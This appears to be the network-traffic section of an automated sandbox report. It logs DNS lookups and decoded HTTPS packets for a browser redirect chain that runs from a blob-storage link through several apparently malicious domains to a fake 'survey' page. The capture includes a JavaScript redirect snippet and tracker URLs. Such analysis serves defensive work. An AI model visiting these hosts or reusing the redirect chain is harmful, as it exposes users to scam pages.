Oct 3, 2024 18:19:47.138300896 CEST	192.168.2.16	1.1.1.1	0x1e31	Standard query (0)	www.scgyvdstrk.com	A (IP address)	IN (0x0001)	false
Oct 3, 2024 18:19:47.138437986 CEST	192.168.2.16	1.1.1.1	0xf9ad	Standard query (0)	www.scgyvdstrk.com	65	IN (0x0001)	false
Oct 3, 2024 18:19:47.906232119 CEST	192.168.2.16	1.1.1.1	0x55f7	Standard query (0)	www.greatqualitydeals.com	A (IP address)	IN (0x0001)	false
Oct 3, 2024 18:19:47.906399012 CEST	192.168.2.16	1.1.1.1	0x1b4	Standard query (0)	www.greatqualitydeals.com	65	IN (0x0001)	false
Oct 3, 2024 18:19:50.192131996 CEST	192.168.2.16	1.1.1.1	0x8f65	Standard query (0)	www.greatqualitydeals.com	A (IP address)	IN (0x0001)	false
Oct 3, 2024 18:19:50.192259073 CEST	192.168.2.16	1.1.1.1	0xa3b1	Standard query (0)	www.greatqualitydeals.com	65	IN (0x0001)	false
Oct 3, 2024 18:19:55.387499094 CEST	192.168.2.16	1.1.1.1	0xd07f	Standard query (0)	a.nel.cloudflare.com	A (IP address)	IN (0x0001)	false
Oct 3, 2024 18:19:55.387655020 CEST	192.168.2.16	1.1.1.1	0x8c90	Standard query (0)	a.nel.cloudflare.com	65	IN (0x0001)	false

DNS Answers

Timestamp	Source IP	Dest IP	Trans ID	Reply Code	Name	CName	Address	Type	Class	DNS over HTTPS
Oct 3, 2024 18:18:06.261064053 CEST	1.1.1.1	192.168.2.16	0xa120	No error (0)	vaultdores.com		194.31.223.121	A (IP address)	IN (0x0001)	false
Oct 3, 2024 18:18:07.966344118 CEST	1.1.1.1	192.168.2.16	0x1017	No error (0)	kindacoil.site		104.21.26.216	A (IP address)	IN (0x0001)	false
Oct 3, 2024 18:18:07.966344118 CEST	1.1.1.1	192.168.2.16	0x1017	No error (0)	kindacoil.site		172.67.139.113	A (IP address)	IN (0x0001)	false
Oct 3, 2024 18:18:07.970033884 CEST	1.1.1.1	192.168.2.16	0xa850	No error (0)	kindacoil.site			65	IN (0x0001)	false
Oct 3, 2024 18:18:09.012976885 CEST	1.1.1.1	192.168.2.16	0xb60c	No error (0)	www.google.com			65	IN (0x0001)	false
Oct 3, 2024 18:18:09.015455008 CEST	1.1.1.1	192.168.2.16	0x4cfb	No error (0)	www.google.com		142.250.184.196	A (IP address)	IN (0x0001)	false
Oct 3, 2024 18:18:09.430694103 CEST	1.1.1.1	192.168.2.16	0x7fea	No error (0)	pawern.markiwalk.lat		104.21.57.136	A (IP address)	IN (0x0001)	false
Oct 3, 2024 18:18:09.430694103 CEST	1.1.1.1	192.168.2.16	0x7fea	No error (0)	pawern.markiwalk.lat		172.67.164.19	A (IP address)	IN (0x0001)	false
Oct 3, 2024 18:18:09.431159019 CEST	1.1.1.1	192.168.2.16	0x3bae	No error (0)	pawern.markiwalk.lat			65	IN (0x0001)	false
Oct 3, 2024 18:18:12.160649061 CEST	1.1.1.1	192.168.2.16	0xee68	No error (0)	pawern.markiwalk.lat		104.21.57.136	A (IP address)	IN (0x0001)	false
Oct 3, 2024 18:18:12.160649061 CEST	1.1.1.1	192.168.2.16	0xee68	No error (0)	pawern.markiwalk.lat		172.67.164.19	A (IP address)	IN (0x0001)	false
Oct 3, 2024 18:18:12.171125889 CEST	1.1.1.1	192.168.2.16	0xb2f0	No error (0)	pawern.markiwalk.lat			65	IN (0x0001)	false
Oct 3, 2024 18:18:12.362499952 CEST	1.1.1.1	192.168.2.16	0xa7ac	No error (0)	use.fontawesome.com	use.fontawesome.com.cdn.cloudflare.net		CNAME (Canonical name)	IN (0x0001)	false
Oct 3, 2024 18:18:12.364113092 CEST	1.1.1.1	192.168.2.16	0x82d4	No error (0)	use.fontawesome.com	use.fontawesome.com.cdn.cloudflare.net		CNAME (Canonical name)	IN (0x0001)	false
Oct 3, 2024 18:18:12.368098021 CEST	1.1.1.1	192.168.2.16	0x4681	No error (0)	s3.us-west-2.amazonaws.com		52.92.227.48	A (IP address)	IN (0x0001)	false
Oct 3, 2024 18:18:12.368098021 CEST	1.1.1.1	192.168.2.16	0x4681	No error (0)	s3.us-west-2.amazonaws.com		52.92.138.96	A (IP address)	IN (0x0001)	false
Oct 3, 2024 18:18:12.368098021 CEST	1.1.1.1	192.168.2.16	0x4681	No error (0)	s3.us-west-2.amazonaws.com		52.218.236.216	A (IP address)	IN (0x0001)	false
Oct 3, 2024 18:18:12.368098021 CEST	1.1.1.1	192.168.2.16	0x4681	No error (0)	s3.us-west-2.amazonaws.com		52.92.187.192	A (IP address)	IN (0x0001)	false
Oct 3, 2024 18:18:12.368098021 CEST	1.1.1.1	192.168.2.16	0x4681	No error (0)	s3.us-west-2.amazonaws.com		52.92.213.152	A (IP address)	IN (0x0001)	false
Oct 3, 2024 18:18:12.368098021 CEST	1.1.1.1	192.168.2.16	0x4681	No error (0)	s3.us-west-2.amazonaws.com		52.92.200.160	A (IP address)	IN (0x0001)	false
Oct 3, 2024 18:18:12.368098021 CEST	1.1.1.1	192.168.2.16	0x4681	No error (0)	s3.us-west-2.amazonaws.com		52.218.216.8	A (IP address)	IN (0x0001)	false
Oct 3, 2024 18:18:12.368098021 CEST	1.1.1.1	192.168.2.16	0x4681	No error (0)	s3.us-west-2.amazonaws.com		52.92.242.64	A (IP address)	IN (0x0001)	false
Oct 3, 2024 18:18:12.368860006 CEST	1.1.1.1	192.168.2.16	0xab65	No error (0)	trk-elevostra.com		188.114.96.3	A (IP address)	IN (0x0001)	false
Oct 3, 2024 18:18:12.368860006 CEST	1.1.1.1	192.168.2.16	0xab65	No error (0)	trk-elevostra.com		188.114.97.3	A (IP address)	IN (0x0001)	false
Oct 3, 2024 18:18:12.372842073 CEST	1.1.1.1	192.168.2.16	0xe160	No error (0)	trk-elevostra.com			65	IN (0x0001)	false
Oct 3, 2024 18:18:13.533732891 CEST	1.1.1.1	192.168.2.16	0xc07a	No error (0)	s3.us-west-2.amazonaws.com		52.218.242.160	A (IP address)	IN (0x0001)	false
Oct 3, 2024 18:18:13.533732891 CEST	1.1.1.1	192.168.2.16	0xc07a	No error (0)	s3.us-west-2.amazonaws.com		52.92.130.80	A (IP address)	IN (0x0001)	false
Oct 3, 2024 18:18:13.533732891 CEST	1.1.1.1	192.168.2.16	0xc07a	No error (0)	s3.us-west-2.amazonaws.com		52.92.210.168	A (IP address)	IN (0x0001)	false
Oct 3, 2024 18:18:13.533732891 CEST	1.1.1.1	192.168.2.16	0xc07a	No error (0)	s3.us-west-2.amazonaws.com		52.92.186.208	A (IP address)	IN (0x0001)	false
Oct 3, 2024 18:18:13.533732891 CEST	1.1.1.1	192.168.2.16	0xc07a	No error (0)	s3.us-west-2.amazonaws.com		52.218.182.24	A (IP address)	IN (0x0001)	false
Oct 3, 2024 18:18:13.533732891 CEST	1.1.1.1	192.168.2.16	0xc07a	No error (0)	s3.us-west-2.amazonaws.com		52.92.160.88	A (IP address)	IN (0x0001)	false
Oct 3, 2024 18:18:13.533732891 CEST	1.1.1.1	192.168.2.16	0xc07a	No error (0)	s3.us-west-2.amazonaws.com		52.92.195.216	A (IP address)	IN (0x0001)	false
Oct 3, 2024 18:18:13.533732891 CEST	1.1.1.1	192.168.2.16	0xc07a	No error (0)	s3.us-west-2.amazonaws.com		52.92.194.160	A (IP address)	IN (0x0001)	false
Oct 3, 2024 18:18:13.571477890 CEST	1.1.1.1	192.168.2.16	0xe369	No error (0)	trk-elevostra.com		188.114.97.3	A (IP address)	IN (0x0001)	false
Oct 3, 2024 18:18:13.571477890 CEST	1.1.1.1	192.168.2.16	0xe369	No error (0)	trk-elevostra.com		188.114.96.3	A (IP address)	IN (0x0001)	false
Oct 3, 2024 18:18:13.573426962 CEST	1.1.1.1	192.168.2.16	0xe93c	No error (0)	trk-elevostra.com			65	IN (0x0001)	false
Oct 3, 2024 18:18:14.006567955 CEST	1.1.1.1	192.168.2.16	0xac81	No error (0)	use.fontawesome.com	use.fontawesome.com.cdn.cloudflare.net		CNAME (Canonical name)	IN (0x0001)	false
Oct 3, 2024 18:18:14.006584883 CEST	1.1.1.1	192.168.2.16	0xce0c	No error (0)	use.fontawesome.com	use.fontawesome.com.cdn.cloudflare.net		CNAME (Canonical name)	IN (0x0001)	false
Oct 3, 2024 18:18:15.004112959 CEST	1.1.1.1	192.168.2.16	0x8c1	No error (0)	p.sitemana.com		34.215.34.228	A (IP address)	IN (0x0001)	false
Oct 3, 2024 18:18:15.004112959 CEST	1.1.1.1	192.168.2.16	0x8c1	No error (0)	p.sitemana.com		35.83.102.138	A (IP address)	IN (0x0001)	false
Oct 3, 2024 18:18:16.415169954 CEST	1.1.1.1	192.168.2.16	0xae84	No error (0)	trk-dynamoris.com		172.67.212.151	A (IP address)	IN (0x0001)	false
Oct 3, 2024 18:18:16.415169954 CEST	1.1.1.1	192.168.2.16	0xae84	No error (0)	trk-dynamoris.com		104.21.61.175	A (IP address)	IN (0x0001)	false
Oct 3, 2024 18:18:16.416954994 CEST	1.1.1.1	192.168.2.16	0x11be	No error (0)	trk-dynamoris.com			65	IN (0x0001)	false
Oct 3, 2024 18:18:18.073916912 CEST	1.1.1.1	192.168.2.16	0xcecc	No error (0)	a.nel.cloudflare.com		35.190.80.1	A (IP address)	IN (0x0001)	false
Oct 3, 2024 18:18:18.584764004 CEST	1.1.1.1	192.168.2.16	0x370a	No error (0)	event.trk-elevostra.com		188.114.97.3	A (IP address)	IN (0x0001)	false
Oct 3, 2024 18:18:18.584764004 CEST	1.1.1.1	192.168.2.16	0x370a	No error (0)	event.trk-elevostra.com		188.114.96.3	A (IP address)	IN (0x0001)	false
Oct 3, 2024 18:18:18.613595009 CEST	1.1.1.1	192.168.2.16	0x1abe	No error (0)	event.trk-elevostra.com			65	IN (0x0001)	false
Oct 3, 2024 18:18:20.235033989 CEST	1.1.1.1	192.168.2.16	0xf296	No error (0)	event.trk-elevostra.com		188.114.97.3	A (IP address)	IN (0x0001)	false
Oct 3, 2024 18:18:20.235033989 CEST	1.1.1.1	192.168.2.16	0xf296	No error (0)	event.trk-elevostra.com		188.114.96.3	A (IP address)	IN (0x0001)	false
Oct 3, 2024 18:18:20.235176086 CEST	1.1.1.1	192.168.2.16	0xbc20	No error (0)	event.trk-elevostra.com			65	IN (0x0001)	false
Oct 3, 2024 18:19:09.074421883 CEST	1.1.1.1	192.168.2.16	0x86d0	No error (0)	www.google.com		142.250.184.228	A (IP address)	IN (0x0001)	false
Oct 3, 2024 18:19:09.074837923 CEST	1.1.1.1	192.168.2.16	0xd71	No error (0)	www.google.com			65	IN (0x0001)	false
Oct 3, 2024 18:19:44.903135061 CEST	1.1.1.1	192.168.2.16	0x77e8	No error (0)	shineheater.com		111.90.140.35	A (IP address)	IN (0x0001)	false
Oct 3, 2024 18:19:47.210618019 CEST	1.1.1.1	192.168.2.16	0x1e31	No error (0)	www.scgyvdstrk.com		34.107.223.80	A (IP address)	IN (0x0001)	false
Oct 3, 2024 18:19:47.925637007 CEST	1.1.1.1	192.168.2.16	0x55f7	No error (0)	www.greatqualitydeals.com		172.67.185.164	A (IP address)	IN (0x0001)	false
Oct 3, 2024 18:19:47.925637007 CEST	1.1.1.1	192.168.2.16	0x55f7	No error (0)	www.greatqualitydeals.com		104.21.32.108	A (IP address)	IN (0x0001)	false
Oct 3, 2024 18:19:47.948879004 CEST	1.1.1.1	192.168.2.16	0x1b4	No error (0)	www.greatqualitydeals.com			65	IN (0x0001)	false
Oct 3, 2024 18:19:50.209058046 CEST	1.1.1.1	192.168.2.16	0x8f65	No error (0)	www.greatqualitydeals.com		104.21.32.108	A (IP address)	IN (0x0001)	false
Oct 3, 2024 18:19:50.209058046 CEST	1.1.1.1	192.168.2.16	0x8f65	No error (0)	www.greatqualitydeals.com		172.67.185.164	A (IP address)	IN (0x0001)	false
Oct 3, 2024 18:19:50.377404928 CEST	1.1.1.1	192.168.2.16	0xa3b1	No error (0)	www.greatqualitydeals.com			65	IN (0x0001)	false
Oct 3, 2024 18:19:55.395054102 CEST	1.1.1.1	192.168.2.16	0xd07f	No error (0)	a.nel.cloudflare.com		35.190.80.1	A (IP address)	IN (0x0001)	false

HTTP Request Dependency Graph

https:

vaultdores.com

kindacoil.site

pawern.markiwalk.lat

s3.us-west-2.amazonaws.com

trk-elevostra.com

p.sitemana.com

trk-dynamoris.com

event.trk-elevostra.com

shineheater.com

www.scgyvdstrk.com

www.greatqualitydeals.com

fs.microsoft.com

slscr.update.microsoft.com

a.nel.cloudflare.com

HTTPS Proxied Packets

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
0	192.168.2.16	49706	194.31.223.121	443	6708	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-10-03 16:18:07 UTC	774	OUT	GET /0/0/0/264e35134ac25f9de46ef31bca03b2d6/9/372-16527/1270-243896-29108 HTTP/1.1 Host: vaultdores.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 sec-ch-ua-platform: "Windows" Upgrade-Insecure-Requests: 1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7 Sec-Fetch-Site: cross-site Sec-Fetch-Mode: navigate Sec-Fetch-Dest: document Referer: https://dsfghfdaregfdgshfgdfh.blob.core.windows.net/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-10-03 16:18:07 UTC	352	IN	HTTP/1.1 200 OK date: Thu, 03 Oct 2024 16:18:07 GMT content-type: text/html; charset=UTF-8 transfer-encoding: chunked server: nginx/1.12.2 vary: Accept-Encoding set-cookie: uid7605=1236503140-20241003121807-f32cc09d51b0bc37ba7131b8ce3b58a3-4598; domain=; expires=Sat, 02-Nov-2024 16:18:07 GMT; path=/; SameSite=None; Secure connection: close
2024-10-03 16:18:07 UTC	159	IN	Data Raw: 39 34 0d 0a 3c 73 63 72 69 70 74 20 74 79 70 65 3d 22 74 65 78 74 2f 6a 61 76 61 73 63 72 69 70 74 22 3e 77 69 6e 64 6f 77 2e 6c 6f 63 61 74 69 6f 6e 2e 68 72 65 66 3d 22 68 74 74 70 73 3a 2f 2f 6b 69 6e 64 61 63 6f 69 6c 2e 73 69 74 65 2f 3f 69 64 3d 32 39 37 26 73 31 3d 33 35 31 35 31 38 26 73 32 3d 31 32 33 36 35 30 33 31 34 30 26 73 33 3d 37 36 30 35 26 73 34 3d 34 35 39 38 26 70 3d 75 73 35 79 61 73 77 65 70 73 33 61 22 3c 2f 73 63 72 69 70 74 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 94<script type="text/javascript">window.location.href="https://kindacoil.site/?id=297&s1=351518&s2=1236503140&s3=7605&s4=4598&p=us5yasweps3a"</script>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1	192.168.2.16	49712	104.21.26.216	443	6708	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-10-03 16:18:08 UTC	739	OUT	GET /?id=297&s1=351518&s2=1236503140&s3=7605&s4=4598&p=us5yasweps3a HTTP/1.1 Host: kindacoil.site Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 sec-ch-ua-platform: "Windows" Upgrade-Insecure-Requests: 1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7 Sec-Fetch-Site: cross-site Sec-Fetch-Mode: navigate Sec-Fetch-Dest: document Referer: https://vaultdores.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-10-03 16:18:09 UTC	992	IN	HTTP/1.1 302 Found Date: Thu, 03 Oct 2024 16:18:09 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close location: https://pawern.markiwalk.lat/vjncl/uvre/njam/iern?b92722dcb0ed8f668036958395ea62e7 set-cookie: PHPSESSID=ea763894a3dfda2ef6655e7f4fd380b8; path=/; secure expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-cache, no-store, must-revalidate, max-age=0 pragma: no-cache x-frame-options: SAMEORIGIN x-xss-protection: 1; mode=block x-content-type-options: nosniff vary: User-Agent CF-Cache-Status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=uCNRtawfE77%2F6pXCw%2FpO5pOwXQBVHYvdjqga43bf4gX62hOUVhi50AS0dkXHexZ04O1J%2BHYktPM91FusEeWdtNMR19UyetzX6eFXi6fpSTU1xzpX3Qu3VI1AWfPVF5p0Jg%3D%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Speculation-Rules: "/cdn-cgi/speculation" Server: cloudflare CF-RAY: 8cce3f164c051839-EWR
2024-10-03 16:18:09 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
2	192.168.2.16	49717	104.21.57.136	443	6708	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-10-03 16:18:10 UTC	736	OUT	GET /vjncl/uvre/njam/iern?b92722dcb0ed8f668036958395ea62e7 HTTP/1.1 Host: pawern.markiwalk.lat Connection: keep-alive Upgrade-Insecure-Requests: 1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7 Sec-Fetch-Site: cross-site Sec-Fetch-Mode: navigate Sec-Fetch-Dest: document sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 sec-ch-ua-platform: "Windows" Referer: https://vaultdores.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-10-03 16:18:10 UTC	910	IN	HTTP/1.1 200 OK Date: Thu, 03 Oct 2024 16:18:10 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close set-cookie: PHPSESSID=fbddb8df413c89a1eda7964e62df79cd; path=/; secure expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate pragma: no-cache vary: Accept-Encoding,User-Agent x-frame-options: SAMEORIGIN x-xss-protection: 1; mode=block x-content-type-options: nosniff CF-Cache-Status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=syH30eR1RYsljCWxN0RF2AgAlHk6%2F%2BjmI55LUQs4xWwUKD75HU512KvjpAFlRh6kCAY6ImT%2FZYKkC1w3lmGE%2BrTtSogCGUUpjjTBM6R49322G6Vt4Z9UtdbDxZ9m6jVIgQaiyZ9FVw%3D%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Speculation-Rules: "/cdn-cgi/speculation" Server: cloudflare CF-RAY: 8cce3f1f68d419aa-EWR
2024-10-03 16:18:10 UTC	459	IN	Data Raw: 37 33 64 62 0d 0a 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0a 3c 68 74 6d 6c 20 6c 61 6e 67 3d 22 65 6e 22 3e 0a 20 20 20 20 3c 68 65 61 64 3e 0a 20 20 20 20 20 20 20 20 3c 6d 65 74 61 20 63 68 61 72 73 65 74 3d 22 55 54 46 2d 38 22 3e 0a 20 20 20 20 20 20 20 20 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 72 6f 62 6f 74 73 22 20 63 6f 6e 74 65 6e 74 3d 22 6e 6f 69 6e 64 65 78 2c 20 6e 6f 66 6f 6c 6c 6f 77 2c 20 6e 6f 61 72 63 68 69 76 65 22 3e 0a 20 20 20 20 20 20 20 20 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 58 2d 55 41 2d 43 6f 6d 70 61 74 69 62 6c 65 22 20 63 6f 6e 74 65 6e 74 3d 22 49 45 3d 65 64 67 65 22 3e 0a 20 20 20 20 20 20 20 20 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 76 69 65 77 70 6f 72 74 22 20 63 6f 6e 74 65 6e 74 3d 22 77 69 64 74 68 Data Ascii: 73db<!DOCTYPE html><html lang="en"> <head> <meta charset="UTF-8"> <meta name="robots" content="noindex, nofollow, noarchive"> <meta http-equiv="X-UA-Compatible" content="IE=edge"> <meta name="viewport" content="width
2024-10-03 16:18:10 UTC	1369	IN	Data Raw: 2e 6d 69 6e 2e 63 73 73 22 3e 0a 20 20 20 20 20 20 20 20 3c 6c 69 6e 6b 20 72 65 6c 3d 22 73 74 79 6c 65 73 68 65 65 74 22 20 74 79 70 65 3d 22 74 65 78 74 2f 63 73 73 22 20 68 72 65 66 3d 22 2f 6d 61 73 74 65 72 2f 74 65 72 6d 73 2f 63 73 73 2f 5f 6d 6f 64 61 6c 2e 63 73 73 22 20 2f 3e 0a 20 20 20 20 20 20 20 20 3c 73 63 72 69 70 74 20 64 65 66 65 72 20 73 72 63 3d 22 68 74 74 70 73 3a 2f 2f 75 73 65 2e 66 6f 6e 74 61 77 65 73 6f 6d 65 2e 63 6f 6d 2f 72 65 6c 65 61 73 65 73 2f 76 35 2e 31 35 2e 34 2f 6a 73 2f 61 6c 6c 2e 6a 73 22 20 69 6e 74 65 67 72 69 74 79 3d 22 73 68 61 33 38 34 2d 72 4f 41 31 50 6e 73 74 78 6e 4f 42 4c 7a 43 4c 4d 63 72 65 38 79 62 77 62 54 6d 65 6d 6a 7a 64 4e 6c 49 4c 67 38 4f 37 7a 31 6c 55 6b 4c 58 6f 7a 73 34 44 48 6f 6e 6c 44 Data Ascii: .min.css"> <link rel="stylesheet" type="text/css" href="/master/terms/css/_modal.css" /> <script defer src="https://use.fontawesome.com/releases/v5.15.4/js/all.js" integrity="sha384-rOA1PnstxnOBLzCLMcre8ybwbTmemjzdNlILg8O7z1lUkLXozs4DHonlD
2024-10-03 16:18:10 UTC	1369	IN	Data Raw: 68 72 2f 3e 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 3c 73 70 61 6e 3e 53 75 72 76 65 79 20 41 62 6f 75 74 3c 2f 73 70 61 6e 3e 20 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 3c 68 72 2f 3e 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 3c 2f 64 69 76 3e 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 3c 69 6d 67 20 64 61 74 61 2d 73 72 63 3d 22 2f 6d 61 73 74 65 72 2f 75 73 32 31 37 2f 6c 6f 67 6f 2e 70 6e 67 22 20 61 6c 74 3d 22 22 3e 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 3c 68 33 3e 3c 73 63 72 69 70 74 3e 64 6f 63 75 6d 65 6e 74 2e 77 72 69 74 65 28 64 61 74 65 68 61 78 28 29 29 3b 3c 2f 73 63 72 69 70 74 3e 3c 69 6d 67 20 63 6c 61 Data Ascii: hr/> <span>Survey About</span> <hr/> </div> <img data-src="/master/us217/logo.png" alt=""> <h3><script>document.write(datehax());</script><img cla
2024-10-03 16:18:10 UTC	1369	IN	Data Raw: 20 63 6c 61 73 73 3d 22 62 64 79 61 71 75 65 73 74 69 6f 6e 22 3e 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 3c 64 69 76 20 63 6c 61 73 73 3d 22 62 64 79 61 6c 6e 32 22 3e 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 3c 64 69 76 20 63 6c 61 73 73 3d 22 63 6c 73 6e 71 61 22 3e 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 3c 62 75 74 74 6f 6e 20 63 6c 61 73 73 3d 22 63 6c 73 6e 71 61 61 61 2d 73 65 6c 65 63 74 22 20 69 64 3d 22 61 6e 69 6d 61 74 65 5f 62 74 6e 5f 30 22 20 76 61 6c 75 65 3d 22 31 22 3e 53 54 41 52 54 20 53 55 52 56 45 59 3c 2f 62 75 74 74 6f 6e 3e 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 Data Ascii: class="bdyaquestion"> <div class="bdyaln2"> <div class="clsnqa"> <button class="clsnqaaa-select" id="animate_btn_0" value="1">START SURVEY</button>
2024-10-03 16:18:10 UTC	1369	IN	Data Raw: 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 3c 62 20 63 6c 61 73 73 3d 22 63 6c 74 78 74 22 3e 3c 2f 62 3e 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 3c 2f 68 32 3e 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 3c 64 69 76 20 63 6c 61 73 73 3d 22 63 6c 73 6e 71 61 22 3e 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 3c 62 75 74 74 6f 6e 20 63 6c 61 73 73 3d 22 63 6c 73 6e 71 61 61 61 2d 73 65 6c 65 63 74 20 63 6c 74 78 74 22 3e 3c 2f 62 75 74 74 6f 6e 3e 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 3c 62 75 74 74 6f 6e 20 63 6c 61 73 Data Ascii: <b class="cltxt"></b> </h2> <div class="clsnqa"> <button class="clsnqaaa-select cltxt"></button> <button clas
2024-10-03 16:18:10 UTC	1369	IN	Data Raw: 20 20 3c 64 69 76 20 63 6c 61 73 73 3d 22 63 6c 73 6e 71 61 61 61 20 61 6e 69 6d 61 74 65 5f 5f 61 6e 69 6d 61 74 65 64 22 3e 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 3c 68 32 3e 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 3c 73 70 61 6e 20 63 6c 61 73 73 3d 22 71 68 64 61 22 3e 3c 2f 73 70 61 6e 3e 3c 62 72 2f 3e 3c 62 72 2f 3e 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 3c 73 6d 61 6c 6c 20 63 6c 61 73 73 3d 22 63 6c 73 71 6e 75 22 3e 3c 2f 73 6d 61 6c 6c 3e 3c 62 72 2f 3e 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 3c 62 20 63 6c 61 73 73 3d 22 Data Ascii: <div class="clsnqaaa animate__animated"> <h2> <span class="qhda"></span><br/><br/> <small class="clsqnu"></small><br/> <b class="
2024-10-03 16:18:10 UTC	1369	IN	Data Raw: 74 78 74 22 3e 3c 2f 62 75 74 74 6f 6e 3e 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 3c 62 75 74 74 6f 6e 20 63 6c 61 73 73 3d 22 63 6c 73 6e 71 61 61 61 2d 73 65 6c 65 63 74 20 63 6c 74 78 74 22 3e 3c 2f 62 75 74 74 6f 6e 3e 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 3c 2f 64 69 76 3e 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 3c 2f 64 69 76 3e 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 3c 21 2d 2d 20 36 20 2d 2d 3e 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 3c 64 69 76 20 63 6c 61 73 73 3d 22 63 6c 73 6e 71 61 61 61 20 61 6e 69 6d 61 74 65 5f 5f 61 6e 69 6d Data Ascii: txt"></button> <button class="clsnqaaa-select cltxt"></button> </div> </div> ... 6 --> <div class="clsnqaaa animate__anim
